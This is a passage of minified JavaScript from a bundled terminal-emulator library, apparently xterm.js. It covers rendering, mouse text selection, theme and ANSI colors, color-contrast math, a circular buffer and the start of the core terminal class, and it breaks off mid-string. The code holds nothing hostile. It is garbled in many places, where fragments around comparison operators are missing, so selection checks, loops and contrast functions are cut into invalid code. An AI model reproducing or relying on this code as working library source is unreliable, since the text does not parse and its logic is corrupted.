0||S.call(w),this._fullRefresh())}handleDevicePixelRatioChange(){this._charSizeService.measure(),this._renderer.value&&(this._renderer.value.handleDevicePixelRatioChange(),this.refreshRows(0,this._rowCount-1))}handleResize(w,S){this._renderer.value&&(this._isPaused?this._pausedResizeTask.set(()=>this._renderer.value.handleResize(w,S)):this._renderer.value.handleResize(w,S),this._fullRefresh())}handleCharSizeChanged(){var w;(w=this._renderer.value)===null||w===void 0||w.handleCharSizeChanged()}handleBlur(){var w;(w=this._renderer.value)===null||w===void 0||w.handleBlur()}handleFocus(){var w;(w=this._renderer.value)===null||w===void 0||w.handleFocus()}handleSelectionChanged(w,S,C){var T;this._selectionState.start=w,this._selectionState.end=S,this._selectionState.columnSelectMode=C,(T=this._renderer.value)===null||T===void 0||T.handleSelectionChanged(w,S,C)}handleCursorMove(){var w;(w=this._renderer.value)===null||w===void 0||w.handleCursorMove()}clear(){var w;(w=this._renderer.value)===null||w===void 0||w.clear()}};a.RenderService=_=l([u(2,b.IOptionsService),u(3,m.ICharSizeService),u(4,b.IDecorationService),u(5,b.IBufferService),u(6,m.ICoreBrowserService),u(7,m.IThemeService)],_)},9312:function(o,a,c){var l=this&&this.__decorate||function(k,A,M,R){var P,L=arguments.length,z=L<3?A:R===null?R=Object.getOwnPropertyDescriptor(A,M):R;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")z=Reflect.decorate(k,A,M,R);else for(var Q=k.length-1;Q>=0;Q--)(P=k[Q])&&(z=(L<3?P(z):L>3?P(A,M,z):P(A,M))||z);return L>3&&z&&Object.defineProperty(A,M,z),z},u=this&&this.__param||function(k,A){return function(M,R){A(M,R,k)}};Object.defineProperty(a,"__esModule",{value:!0}),a.SelectionService=void 0;const h=c(9806),d=c(9504),p=c(456),m=c(4725),v=c(8460),g=c(844),y=c(6114),b=c(4841),_=c(511),w=c(2585),S=" ",C=new RegExp(S,"g");let T=a.SelectionService=class extends g.Disposable{constructor(k,A,M,R,P,L,z,Q,W){super(),this._element=k,this._screenElement=A,this._linkifier=M,this._bufferService=R,this._coreService=P,this._mouseService=L,this._optionsService=z,this._renderService=Q,this._coreBrowserService=W,this._dragScrollAmount=0,this._enabled=!0,this._workCell=new _.CellData,this._mouseDownTimeStamp=0,this._oldHasSelection=!1,this._oldSelectionStart=void 0,this._oldSelectionEnd=void 0,this._onLinuxMouseSelection=this.register(new v.EventEmitter),this.onLinuxMouseSelection=this._onLinuxMouseSelection.event,this._onRedrawRequest=this.register(new v.EventEmitter),this.onRequestRedraw=this._onRedrawRequest.event,this._onSelectionChange=this.register(new v.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onRequestScrollLines=this.register(new v.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this._mouseMoveListener=V=>this._handleMouseMove(V),this._mouseUpListener=V=>this._handleMouseUp(V),this._coreService.onUserInput(()=>{this.hasSelection&&this.clearSelection()}),this._trimListener=this._bufferService.buffer.lines.onTrim(V=>this._handleTrim(V)),this.register(this._bufferService.buffers.onBufferActivate(V=>this._handleBufferActivate(V))),this.enable(),this._model=new p.SelectionModel(this._bufferService),this._activeSelectionMode=0,this.register((0,g.toDisposable)(()=>{this._removeMouseDownListeners()}))}reset(){this.clearSelection()}disable(){this.clearSelection(),this._enabled=!1}enable(){this._enabled=!0}get selectionStart(){return this._model.finalSelectionStart}get selectionEnd(){return this._model.finalSelectionEnd}get hasSelection(){const k=this._model.finalSelectionStart,A=this._model.finalSelectionEnd;return!(!k||!A||k[0]===A[0]&&k[1]===A[1])}get selectionText(){const k=this._model.finalSelectionStart,A=this._model.finalSelectionEnd;if(!k||!A)return"";const M=this._bufferService.buffer,R=[];if(this._activeSelectionMode===3){if(k[0]===A[0])return"";const P=k[0]P.replace(C," ")).join(y.isWindows?`\r +`:` +`)}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(k){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame(()=>this._refresh())),y.isLinux&&k&&this.selectionText.length&&this._onLinuxMouseSelection.fire(this.selectionText)}_refresh(){this._refreshAnimationFrame=void 0,this._onRedrawRequest.fire({start:this._model.finalSelectionStart,end:this._model.finalSelectionEnd,columnSelectMode:this._activeSelectionMode===3})}_isClickInSelection(k){const A=this._getMouseBufferCoords(k),M=this._model.finalSelectionStart,R=this._model.finalSelectionEnd;return!!(M&&R&&A)&&this._areCoordsInSelection(A,M,R)}isCellInSelection(k,A){const M=this._model.finalSelectionStart,R=this._model.finalSelectionEnd;return!(!M||!R)&&this._areCoordsInSelection([k,A],M,R)}_areCoordsInSelection(k,A,M){return k[1]>A[1]&&k[1]=A[0]&&k[0]=A[0]}_selectWordAtCursor(k,A){var M,R;const P=(R=(M=this._linkifier.currentLink)===null||M===void 0?void 0:M.link)===null||R===void 0?void 0:R.range;if(P)return this._model.selectionStart=[P.start.x-1,P.start.y-1],this._model.selectionStartLength=(0,b.getRangeLength)(P,this._bufferService.cols),this._model.selectionEnd=void 0,!0;const L=this._getMouseBufferCoords(k);return!!L&&(this._selectWordAt(L,A),this._model.selectionEnd=void 0,!0)}selectAll(){this._model.isSelectAllActive=!0,this.refresh(),this._onSelectionChange.fire()}selectLines(k,A){this._model.clearSelection(),k=Math.max(k,0),A=Math.min(A,this._bufferService.buffer.lines.length-1),this._model.selectionStart=[0,k],this._model.selectionEnd=[this._bufferService.cols,A],this.refresh(),this._onSelectionChange.fire()}_handleTrim(k){this._model.handleTrim(k)&&this.refresh()}_getMouseBufferCoords(k){const A=this._mouseService.getCoords(k,this._screenElement,this._bufferService.cols,this._bufferService.rows,!0);if(A)return A[0]--,A[1]--,A[1]+=this._bufferService.buffer.ydisp,A}_getMouseEventScrollAmount(k){let A=(0,h.getCoordsRelativeToElement)(this._coreBrowserService.window,k,this._screenElement)[1];const M=this._renderService.dimensions.css.canvas.height;return A>=0&&A<=M?0:(A>M&&(A-=M),A=Math.min(Math.max(A,-50),50),A/=50,A/Math.abs(A)+Math.round(14*A))}shouldForceSelection(k){return y.isMac?k.altKey&&this._optionsService.rawOptions.macOptionClickForcesSelection:k.shiftKey}handleMouseDown(k){if(this._mouseDownTimeStamp=k.timeStamp,(k.button!==2||!this.hasSelection)&&k.button===0){if(!this._enabled){if(!this.shouldForceSelection(k))return;k.stopPropagation()}k.preventDefault(),this._dragScrollAmount=0,this._enabled&&k.shiftKey?this._handleIncrementalClick(k):k.detail===1?this._handleSingleClick(k):k.detail===2?this._handleDoubleClick(k):k.detail===3&&this._handleTripleClick(k),this._addMouseDownListeners(),this.refresh(!0)}}_addMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.addEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.addEventListener("mouseup",this._mouseUpListener)),this._dragScrollIntervalTimer=this._coreBrowserService.window.setInterval(()=>this._dragScroll(),50)}_removeMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.removeEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.removeEventListener("mouseup",this._mouseUpListener)),this._coreBrowserService.window.clearInterval(this._dragScrollIntervalTimer),this._dragScrollIntervalTimer=void 0}_handleIncrementalClick(k){this._model.selectionStart&&(this._model.selectionEnd=this._getMouseBufferCoords(k))}_handleSingleClick(k){if(this._model.selectionStartLength=0,this._model.isSelectAllActive=!1,this._activeSelectionMode=this.shouldColumnSelect(k)?3:0,this._model.selectionStart=this._getMouseBufferCoords(k),!this._model.selectionStart)return;this._model.selectionEnd=void 0;const A=this._bufferService.buffer.lines.get(this._model.selectionStart[1]);A&&A.length!==this._model.selectionStart[0]&&A.hasWidth(this._model.selectionStart[0])===0&&this._model.selectionStart[0]++}_handleDoubleClick(k){this._selectWordAtCursor(k,!0)&&(this._activeSelectionMode=1)}_handleTripleClick(k){const A=this._getMouseBufferCoords(k);A&&(this._activeSelectionMode=2,this._selectLineAt(A[1]))}shouldColumnSelect(k){return k.altKey&&!(y.isMac&&this._optionsService.rawOptions.macOptionClickForcesSelection)}_handleMouseMove(k){if(k.stopImmediatePropagation(),!this._model.selectionStart)return;const A=this._model.selectionEnd?[this._model.selectionEnd[0],this._model.selectionEnd[1]]:null;if(this._model.selectionEnd=this._getMouseBufferCoords(k),!this._model.selectionEnd)return void this.refresh(!0);this._activeSelectionMode===2?this._model.selectionEnd[1]0?this._model.selectionEnd[0]=this._bufferService.cols:this._dragScrollAmount<0&&(this._model.selectionEnd[0]=0));const M=this._bufferService.buffer;if(this._model.selectionEnd[1]0?(this._activeSelectionMode!==3&&(this._model.selectionEnd[0]=this._bufferService.cols),this._model.selectionEnd[1]=Math.min(k.ydisp+this._bufferService.rows,k.lines.length-1)):(this._activeSelectionMode!==3&&(this._model.selectionEnd[0]=0),this._model.selectionEnd[1]=k.ydisp),this.refresh()}}_handleMouseUp(k){const A=k.timeStamp-this._mouseDownTimeStamp;if(this._removeMouseDownListeners(),this.selectionText.length<=1&&A<500&&k.altKey&&this._optionsService.rawOptions.altClickMovesCursor){if(this._bufferService.buffer.ybase===this._bufferService.buffer.ydisp){const M=this._mouseService.getCoords(k,this._element,this._bufferService.cols,this._bufferService.rows,!1);if(M&&M[0]!==void 0&&M[1]!==void 0){const R=(0,d.moveToCellSequence)(M[0]-1,M[1]-1,this._bufferService,this._coreService.decPrivateModes.applicationCursorKeys);this._coreService.triggerDataEvent(R,!0)}}}else this._fireEventIfSelectionChanged()}_fireEventIfSelectionChanged(){const k=this._model.finalSelectionStart,A=this._model.finalSelectionEnd,M=!(!k||!A||k[0]===A[0]&&k[1]===A[1]);M?k&&A&&(this._oldSelectionStart&&this._oldSelectionEnd&&k[0]===this._oldSelectionStart[0]&&k[1]===this._oldSelectionStart[1]&&A[0]===this._oldSelectionEnd[0]&&A[1]===this._oldSelectionEnd[1]||this._fireOnSelectionChange(k,A,M)):this._oldHasSelection&&this._fireOnSelectionChange(k,A,M)}_fireOnSelectionChange(k,A,M){this._oldSelectionStart=k,this._oldSelectionEnd=A,this._oldHasSelection=M,this._onSelectionChange.fire()}_handleBufferActivate(k){this.clearSelection(),this._trimListener.dispose(),this._trimListener=k.activeBuffer.lines.onTrim(A=>this._handleTrim(A))}_convertViewportColToCharacterIndex(k,A){let M=A;for(let R=0;A>=R;R++){const P=k.loadCell(R,this._workCell).getChars().length;this._workCell.getWidth()===0?M--:P>1&&A!==R&&(M+=P-1)}return M}setSelection(k,A,M){this._model.clearSelection(),this._removeMouseDownListeners(),this._model.selectionStart=[k,A],this._model.selectionStartLength=M,this.refresh(),this._fireEventIfSelectionChanged()}rightClickSelect(k){this._isClickInSelection(k)||(this._selectWordAtCursor(k,!1)&&this.refresh(!0),this._fireEventIfSelectionChanged())}_getWordAt(k,A,M=!0,R=!0){if(k[0]>=this._bufferService.cols)return;const P=this._bufferService.buffer,L=P.lines.get(k[1]);if(!L)return;const z=P.translateBufferLineToString(k[1],!1);let Q=this._convertViewportColToCharacterIndex(L,k[0]),W=Q;const V=k[0]-Q;let N=0,O=0,H=0,G=0;if(z.charAt(Q)===" "){for(;Q>0&&z.charAt(Q-1)===" ";)Q--;for(;W1&&(G+=oe-1,W+=oe-1);ve>0&&Q>0&&!this._isCharWordSeparator(L.loadCell(ve-1,this._workCell));){L.loadCell(ve-1,this._workCell);const I=this._workCell.getChars().length;this._workCell.getWidth()===0?(N++,ve--):I>1&&(H+=I-1,Q-=I-1),Q--,ve--}for(;le1&&(G+=I-1,W+=I-1),W++,le++}}W++;let ee=Q+V-N+H,ie=Math.min(this._bufferService.cols,W-Q+N+O-H-G);if(A||z.slice(Q,W).trim()!==""){if(M&&ee===0&&L.getCodePoint(0)!==32){const ve=P.lines.get(k[1]-1);if(ve&&L.isWrapped&&ve.getCodePoint(this._bufferService.cols-1)!==32){const le=this._getWordAt([this._bufferService.cols-1,k[1]-1],!1,!0,!1);if(le){const oe=this._bufferService.cols-le.start;ee-=oe,ie+=oe}}}if(R&&ee+ie===this._bufferService.cols&&L.getCodePoint(this._bufferService.cols-1)!==32){const ve=P.lines.get(k[1]+1);if(ve!=null&&ve.isWrapped&&ve.getCodePoint(0)!==32){const le=this._getWordAt([0,k[1]+1],!1,!1,!0);le&&(ie+=le.length)}}return{start:ee,length:ie}}}_selectWordAt(k,A){const M=this._getWordAt(k,A);if(M){for(;M.start<0;)M.start+=this._bufferService.cols,k[1]--;this._model.selectionStart=[M.start,k[1]],this._model.selectionStartLength=M.length}}_selectToWordAt(k){const A=this._getWordAt(k,!0);if(A){let M=k[1];for(;A.start<0;)A.start+=this._bufferService.cols,M--;if(!this._model.areSelectionValuesReversed())for(;A.start+A.length>this._bufferService.cols;)A.length-=this._bufferService.cols,M++;this._model.selectionEnd=[this._model.areSelectionValuesReversed()?A.start:A.start+A.length,M]}}_isCharWordSeparator(k){return k.getWidth()!==0&&this._optionsService.rawOptions.wordSeparator.indexOf(k.getChars())>=0}_selectLineAt(k){const A=this._bufferService.buffer.getWrappedRangeForLine(k),M={start:{x:0,y:A.first},end:{x:this._bufferService.cols-1,y:A.last}};this._model.selectionStart=[0,A.first],this._model.selectionEnd=void 0,this._model.selectionStartLength=(0,b.getRangeLength)(M,this._bufferService.cols)}};a.SelectionService=T=l([u(3,w.IBufferService),u(4,w.ICoreService),u(5,m.IMouseService),u(6,w.IOptionsService),u(7,m.IRenderService),u(8,m.ICoreBrowserService)],T)},4725:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.IThemeService=a.ICharacterJoinerService=a.ISelectionService=a.IRenderService=a.IMouseService=a.ICoreBrowserService=a.ICharSizeService=void 0;const l=c(8343);a.ICharSizeService=(0,l.createDecorator)("CharSizeService"),a.ICoreBrowserService=(0,l.createDecorator)("CoreBrowserService"),a.IMouseService=(0,l.createDecorator)("MouseService"),a.IRenderService=(0,l.createDecorator)("RenderService"),a.ISelectionService=(0,l.createDecorator)("SelectionService"),a.ICharacterJoinerService=(0,l.createDecorator)("CharacterJoinerService"),a.IThemeService=(0,l.createDecorator)("ThemeService")},6731:function(o,a,c){var l=this&&this.__decorate||function(T,k,A,M){var R,P=arguments.length,L=P<3?k:M===null?M=Object.getOwnPropertyDescriptor(k,A):M;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")L=Reflect.decorate(T,k,A,M);else for(var z=T.length-1;z>=0;z--)(R=T[z])&&(L=(P<3?R(L):P>3?R(k,A,L):R(k,A))||L);return P>3&&L&&Object.defineProperty(k,A,L),L},u=this&&this.__param||function(T,k){return function(A,M){k(A,M,T)}};Object.defineProperty(a,"__esModule",{value:!0}),a.ThemeService=a.DEFAULT_ANSI_COLORS=void 0;const h=c(7239),d=c(8055),p=c(8460),m=c(844),v=c(2585),g=d.css.toColor("#ffffff"),y=d.css.toColor("#000000"),b=d.css.toColor("#ffffff"),_=d.css.toColor("#000000"),w={css:"rgba(255, 255, 255, 0.3)",rgba:4294967117};a.DEFAULT_ANSI_COLORS=Object.freeze((()=>{const T=[d.css.toColor("#2e3436"),d.css.toColor("#cc0000"),d.css.toColor("#4e9a06"),d.css.toColor("#c4a000"),d.css.toColor("#3465a4"),d.css.toColor("#75507b"),d.css.toColor("#06989a"),d.css.toColor("#d3d7cf"),d.css.toColor("#555753"),d.css.toColor("#ef2929"),d.css.toColor("#8ae234"),d.css.toColor("#fce94f"),d.css.toColor("#729fcf"),d.css.toColor("#ad7fa8"),d.css.toColor("#34e2e2"),d.css.toColor("#eeeeec")],k=[0,95,135,175,215,255];for(let A=0;A<216;A++){const M=k[A/36%6|0],R=k[A/6%6|0],P=k[A%6];T.push({css:d.channels.toCss(M,R,P),rgba:d.channels.toRgba(M,R,P)})}for(let A=0;A<24;A++){const M=8+10*A;T.push({css:d.channels.toCss(M,M,M),rgba:d.channels.toRgba(M,M,M)})}return T})());let S=a.ThemeService=class extends m.Disposable{get colors(){return this._colors}constructor(T){super(),this._optionsService=T,this._contrastCache=new h.ColorContrastCache,this._halfContrastCache=new h.ColorContrastCache,this._onChangeColors=this.register(new p.EventEmitter),this.onChangeColors=this._onChangeColors.event,this._colors={foreground:g,background:y,cursor:b,cursorAccent:_,selectionForeground:void 0,selectionBackgroundTransparent:w,selectionBackgroundOpaque:d.color.blend(y,w),selectionInactiveBackgroundTransparent:w,selectionInactiveBackgroundOpaque:d.color.blend(y,w),ansi:a.DEFAULT_ANSI_COLORS.slice(),contrastCache:this._contrastCache,halfContrastCache:this._halfContrastCache},this._updateRestoreColors(),this._setTheme(this._optionsService.rawOptions.theme),this.register(this._optionsService.onSpecificOptionChange("minimumContrastRatio",()=>this._contrastCache.clear())),this.register(this._optionsService.onSpecificOptionChange("theme",()=>this._setTheme(this._optionsService.rawOptions.theme)))}_setTheme(T={}){const k=this._colors;if(k.foreground=C(T.foreground,g),k.background=C(T.background,y),k.cursor=C(T.cursor,b),k.cursorAccent=C(T.cursorAccent,_),k.selectionBackgroundTransparent=C(T.selectionBackground,w),k.selectionBackgroundOpaque=d.color.blend(k.background,k.selectionBackgroundTransparent),k.selectionInactiveBackgroundTransparent=C(T.selectionInactiveBackground,k.selectionBackgroundTransparent),k.selectionInactiveBackgroundOpaque=d.color.blend(k.background,k.selectionInactiveBackgroundTransparent),k.selectionForeground=T.selectionForeground?C(T.selectionForeground,d.NULL_COLOR):void 0,k.selectionForeground===d.NULL_COLOR&&(k.selectionForeground=void 0),d.color.isOpaque(k.selectionBackgroundTransparent)&&(k.selectionBackgroundTransparent=d.color.opacity(k.selectionBackgroundTransparent,.3)),d.color.isOpaque(k.selectionInactiveBackgroundTransparent)&&(k.selectionInactiveBackgroundTransparent=d.color.opacity(k.selectionInactiveBackgroundTransparent,.3)),k.ansi=a.DEFAULT_ANSI_COLORS.slice(),k.ansi[0]=C(T.black,a.DEFAULT_ANSI_COLORS[0]),k.ansi[1]=C(T.red,a.DEFAULT_ANSI_COLORS[1]),k.ansi[2]=C(T.green,a.DEFAULT_ANSI_COLORS[2]),k.ansi[3]=C(T.yellow,a.DEFAULT_ANSI_COLORS[3]),k.ansi[4]=C(T.blue,a.DEFAULT_ANSI_COLORS[4]),k.ansi[5]=C(T.magenta,a.DEFAULT_ANSI_COLORS[5]),k.ansi[6]=C(T.cyan,a.DEFAULT_ANSI_COLORS[6]),k.ansi[7]=C(T.white,a.DEFAULT_ANSI_COLORS[7]),k.ansi[8]=C(T.brightBlack,a.DEFAULT_ANSI_COLORS[8]),k.ansi[9]=C(T.brightRed,a.DEFAULT_ANSI_COLORS[9]),k.ansi[10]=C(T.brightGreen,a.DEFAULT_ANSI_COLORS[10]),k.ansi[11]=C(T.brightYellow,a.DEFAULT_ANSI_COLORS[11]),k.ansi[12]=C(T.brightBlue,a.DEFAULT_ANSI_COLORS[12]),k.ansi[13]=C(T.brightMagenta,a.DEFAULT_ANSI_COLORS[13]),k.ansi[14]=C(T.brightCyan,a.DEFAULT_ANSI_COLORS[14]),k.ansi[15]=C(T.brightWhite,a.DEFAULT_ANSI_COLORS[15]),T.extendedAnsi){const A=Math.min(k.ansi.length-16,T.extendedAnsi.length);for(let M=0;M{Object.defineProperty(a,"__esModule",{value:!0}),a.CircularList=void 0;const l=c(8460),u=c(844);class h extends u.Disposable{constructor(p){super(),this._maxLength=p,this.onDeleteEmitter=this.register(new l.EventEmitter),this.onDelete=this.onDeleteEmitter.event,this.onInsertEmitter=this.register(new l.EventEmitter),this.onInsert=this.onInsertEmitter.event,this.onTrimEmitter=this.register(new l.EventEmitter),this.onTrim=this.onTrimEmitter.event,this._array=new Array(this._maxLength),this._startIndex=0,this._length=0}get maxLength(){return this._maxLength}set maxLength(p){if(this._maxLength===p)return;const m=new Array(p);for(let v=0;vthis._length)for(let m=this._length;m=p;g--)this._array[this._getCyclicIndex(g+v.length)]=this._array[this._getCyclicIndex(g)];for(let g=0;gthis._maxLength){const g=this._length+v.length-this._maxLength;this._startIndex+=g,this._length=this._maxLength,this.onTrimEmitter.fire(g)}else this._length+=v.length}trimStart(p){p>this._length&&(p=this._length),this._startIndex+=p,this._length-=p,this.onTrimEmitter.fire(p)}shiftElements(p,m,v){if(!(m<=0)){if(p<0||p>=this._length)throw new Error("start argument out of range");if(p+v<0)throw new Error("Cannot shift elements in list beyond index 0");if(v>0){for(let y=m-1;y>=0;y--)this.set(p+y+v,this.get(p+y));const g=p+m+v-this._length;if(g>0)for(this._length+=g;this._length>this._maxLength;)this._length--,this._startIndex++,this.onTrimEmitter.fire(1)}else for(let g=0;g{Object.defineProperty(a,"__esModule",{value:!0}),a.clone=void 0,a.clone=function c(l,u=5){if(typeof l!="object")return l;const h=Array.isArray(l)?[]:{};for(const d in l)h[d]=u<=1?l[d]:l[d]&&c(l[d],u-1);return h}},8055:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.contrastRatio=a.toPaddedHex=a.rgba=a.rgb=a.css=a.color=a.channels=a.NULL_COLOR=void 0;const l=c(6114);let u=0,h=0,d=0,p=0;var m,v,g,y,b;function _(S){const C=S.toString(16);return C.length<2?"0"+C:C}function w(S,C){return S>>0}}(m||(a.channels=m={})),function(S){function C(T,k){return p=Math.round(255*k),[u,h,d]=b.toChannels(T.rgba),{css:m.toCss(u,h,d,p),rgba:m.toRgba(u,h,d,p)}}S.blend=function(T,k){if(p=(255&k.rgba)/255,p===1)return{css:k.css,rgba:k.rgba};const A=k.rgba>>24&255,M=k.rgba>>16&255,R=k.rgba>>8&255,P=T.rgba>>24&255,L=T.rgba>>16&255,z=T.rgba>>8&255;return u=P+Math.round((A-P)*p),h=L+Math.round((M-L)*p),d=z+Math.round((R-z)*p),{css:m.toCss(u,h,d),rgba:m.toRgba(u,h,d)}},S.isOpaque=function(T){return(255&T.rgba)==255},S.ensureContrastRatio=function(T,k,A){const M=b.ensureContrastRatio(T.rgba,k.rgba,A);if(M)return b.toColor(M>>24&255,M>>16&255,M>>8&255)},S.opaque=function(T){const k=(255|T.rgba)>>>0;return[u,h,d]=b.toChannels(k),{css:m.toCss(u,h,d),rgba:k}},S.opacity=C,S.multiplyOpacity=function(T,k){return p=255&T.rgba,C(T,p*k/255)},S.toColorRGB=function(T){return[T.rgba>>24&255,T.rgba>>16&255,T.rgba>>8&255]}}(v||(a.color=v={})),function(S){let C,T;if(!l.isNode){const k=document.createElement("canvas");k.width=1,k.height=1;const A=k.getContext("2d",{willReadFrequently:!0});A&&(C=A,C.globalCompositeOperation="copy",T=C.createLinearGradient(0,0,1,1))}S.toColor=function(k){if(k.match(/#[\da-f]{3,8}/i))switch(k.length){case 4:return u=parseInt(k.slice(1,2).repeat(2),16),h=parseInt(k.slice(2,3).repeat(2),16),d=parseInt(k.slice(3,4).repeat(2),16),b.toColor(u,h,d);case 5:return u=parseInt(k.slice(1,2).repeat(2),16),h=parseInt(k.slice(2,3).repeat(2),16),d=parseInt(k.slice(3,4).repeat(2),16),p=parseInt(k.slice(4,5).repeat(2),16),b.toColor(u,h,d,p);case 7:return{css:k,rgba:(parseInt(k.slice(1),16)<<8|255)>>>0};case 9:return{css:k,rgba:parseInt(k.slice(1),16)>>>0}}const A=k.match(/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(,\s*(0|1|\d?\.(\d+))\s*)?\)/);if(A)return u=parseInt(A[1]),h=parseInt(A[2]),d=parseInt(A[3]),p=Math.round(255*(A[5]===void 0?1:parseFloat(A[5]))),b.toColor(u,h,d,p);if(!C||!T)throw new Error("css.toColor: Unsupported css format");if(C.fillStyle=T,C.fillStyle=k,typeof C.fillStyle!="string")throw new Error("css.toColor: Unsupported css format");if(C.fillRect(0,0,1,1),[u,h,d,p]=C.getImageData(0,0,1,1).data,p!==255)throw new Error("css.toColor: Unsupported css format");return{rgba:m.toRgba(u,h,d,p),css:k}}}(g||(a.css=g={})),function(S){function C(T,k,A){const M=T/255,R=k/255,P=A/255;return .2126*(M<=.03928?M/12.92:Math.pow((M+.055)/1.055,2.4))+.7152*(R<=.03928?R/12.92:Math.pow((R+.055)/1.055,2.4))+.0722*(P<=.03928?P/12.92:Math.pow((P+.055)/1.055,2.4))}S.relativeLuminance=function(T){return C(T>>16&255,T>>8&255,255&T)},S.relativeLuminance2=C}(y||(a.rgb=y={})),function(S){function C(k,A,M){const R=k>>24&255,P=k>>16&255,L=k>>8&255;let z=A>>24&255,Q=A>>16&255,W=A>>8&255,V=w(y.relativeLuminance2(z,Q,W),y.relativeLuminance2(R,P,L));for(;V0||Q>0||W>0);)z-=Math.max(0,Math.ceil(.1*z)),Q-=Math.max(0,Math.ceil(.1*Q)),W-=Math.max(0,Math.ceil(.1*W)),V=w(y.relativeLuminance2(z,Q,W),y.relativeLuminance2(R,P,L));return(z<<24|Q<<16|W<<8|255)>>>0}function T(k,A,M){const R=k>>24&255,P=k>>16&255,L=k>>8&255;let z=A>>24&255,Q=A>>16&255,W=A>>8&255,V=w(y.relativeLuminance2(z,Q,W),y.relativeLuminance2(R,P,L));for(;V>>0}S.ensureContrastRatio=function(k,A,M){const R=y.relativeLuminance(k>>8),P=y.relativeLuminance(A>>8);if(w(R,P)>8));if(Ww(R,y.relativeLuminance(V>>8))?Q:V}return Q}const L=T(k,A,M),z=w(R,y.relativeLuminance(L>>8));if(zw(R,y.relativeLuminance(Q>>8))?L:Q}return L}},S.reduceLuminance=C,S.increaseLuminance=T,S.toChannels=function(k){return[k>>24&255,k>>16&255,k>>8&255,255&k]},S.toColor=function(k,A,M,R){return{css:m.toCss(k,A,M,R),rgba:m.toRgba(k,A,M,R)}}}(b||(a.rgba=b={})),a.toPaddedHex=_,a.contrastRatio=w},8969:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.CoreTerminal=void 0;const l=c(844),u=c(2585),h=c(4348),d=c(7866),p=c(744),m=c(7302),v=c(6975),g=c(8460),y=c(1753),b=c(1480),_=c(7994),w=c(9282),S=c(5435),C=c(5981),T=c(2660);let k=!1;class A extends l.Disposable{get onScroll(){return this._onScrollApi||(this._onScrollApi=this.register(new g.EventEmitter),this._onScroll.event(R=>{var P;(P=this._onScrollApi)===null||P===void 0||P.fire(R.position)})),this._onScrollApi.event}get cols(){return this._bufferService.cols}get rows(){return this._bufferService.rows}get buffers(){return this._bufferService.buffers}get options(){return this.optionsService.options}set options(R){for(const P in R)this.optionsService.options[P]=R[P]}constructor(R){super(),this._windowsWrappingHeuristics=this.register(new l.MutableDisposable),this._onBinary=this.register(new g.EventEmitter),this.onBinary=this._onBinary.event,this._onData=this.register(new g.EventEmitter),this.onData=this._onData.event,this._onLineFeed=this.register(new g.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onResize=this.register(new g.EventEmitter),this.onResize=this._onResize.event,this._onWriteParsed=this.register(new g.EventEmitter),this.onWriteParsed=this._onWriteParsed.event,this._onScroll=this.register(new g.EventEmitter),this._instantiationService=new h.InstantiationService,this.optionsService=this.register(new m.OptionsService(R)),this._instantiationService.setService(u.IOptionsService,this.optionsService),this._bufferService=this.register(this._instantiationService.createInstance(p.BufferService)),this._instantiationService.setService(u.IBufferService,this._bufferService),this._logService=this.register(this._instantiationService.createInstance(d.LogService)),this._instantiationService.setService(u.ILogService,this._logService),this.coreService=this.register(this._instantiationService.createInstance(v.CoreService)),this._instantiationService.setService(u.ICoreService,this.coreService),this.coreMouseService=this.register(this._instantiationService.createInstance(y.CoreMouseService)),this._instantiationService.setService(u.ICoreMouseService,this.coreMouseService),this.unicodeService=this.register(this._instantiationService.createInstance(b.UnicodeService)),this._instantiationService.setService(u.IUnicodeService,this.unicodeService),this._charsetService=this._instantiationService.createInstance(_.CharsetService),this._instantiationService.setService(u.ICharsetService,this._charsetService),this._oscLinkService=this._instantiationService.createInstance(T.OscLinkService),this._instantiationService.setService(u.IOscLinkService,this._oscLinkService),this._inputHandler=this.register(new S.InputHandler(this._bufferService,this._charsetService,this.coreService,this._logService,this.optionsService,this._oscLinkService,this.coreMouseService,this.unicodeService)),this.register((0,g.forwardEvent)(this._inputHandler.onLineFeed,this._onLineFeed)),this.register(this._inputHandler),this.register((0,g.forwardEvent)(this._bufferService.onResize,this._onResize)),this.register((0,g.forwardEvent)(this.coreService.onData,this._onData)),this.register((0,g.forwardEvent)(this.coreService.onBinary,this._onBinary)),this.register(this.coreService.onRequestScrollToBottom(()=>this.scrollToBottom())),this.register(this.coreService.onUserInput(()=>this._writeBuffer.handleUserInput())),this.register(this.optionsService.onMultipleOptionChange(["windowsMode","windowsPty"],()=>this._handleWindowsPtyOptionChange())),this.register(this._bufferService.onScroll(P=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)})),this.register(this._inputHandler.onScroll(P=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)})),this._writeBuffer=this.register(new C.WriteBuffer((P,L)=>this._inputHandler.parse(P,L))),this.register((0,g.forwardEvent)(this._writeBuffer.onWriteParsed,this._onWriteParsed))}write(R,P){this._writeBuffer.write(R,P)}writeSync(R,P){this._logService.logLevel<=u.LogLevelEnum.WARN&&!k&&(this._logService.warn("writeSync is unreliable and will be removed 